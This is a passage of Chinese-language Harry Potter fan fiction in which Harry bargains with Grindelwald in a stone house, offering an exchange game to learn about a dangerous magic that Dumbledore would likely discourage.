哈利犹豫了一下:“他可能不会告诉我。”他也说不清楚为什么,但直觉告诉他,就算邓布利多肯说,可能也不会赞同。他甚至能想象到邓布利多会用怎样温和而坚定的语气,劝他不要触碰那样强大的,可能带来危险的魔法。 格林德沃大笑起来,笑声在狭小的石屋里回荡:“你倒是很了解他。那你凭什么认为我会告诉你?” “直觉。”哈利说,“而且我觉得,你一定知道那是什么。” “为什么想知道?” 哈利迎上他的目光:“我们继续那个交换游戏吧。你告诉我那是什么魔法,我告诉你为什么我想知道。” 老人嘴角微微上扬,但那笑容里并没有一丝愉悦。 “又是交换?有趣。”他轻声说,“你学得很快,哈利·波特。” 他向后退了一步,双手背在身后: “好吧。让我们再玩一次这个游戏。”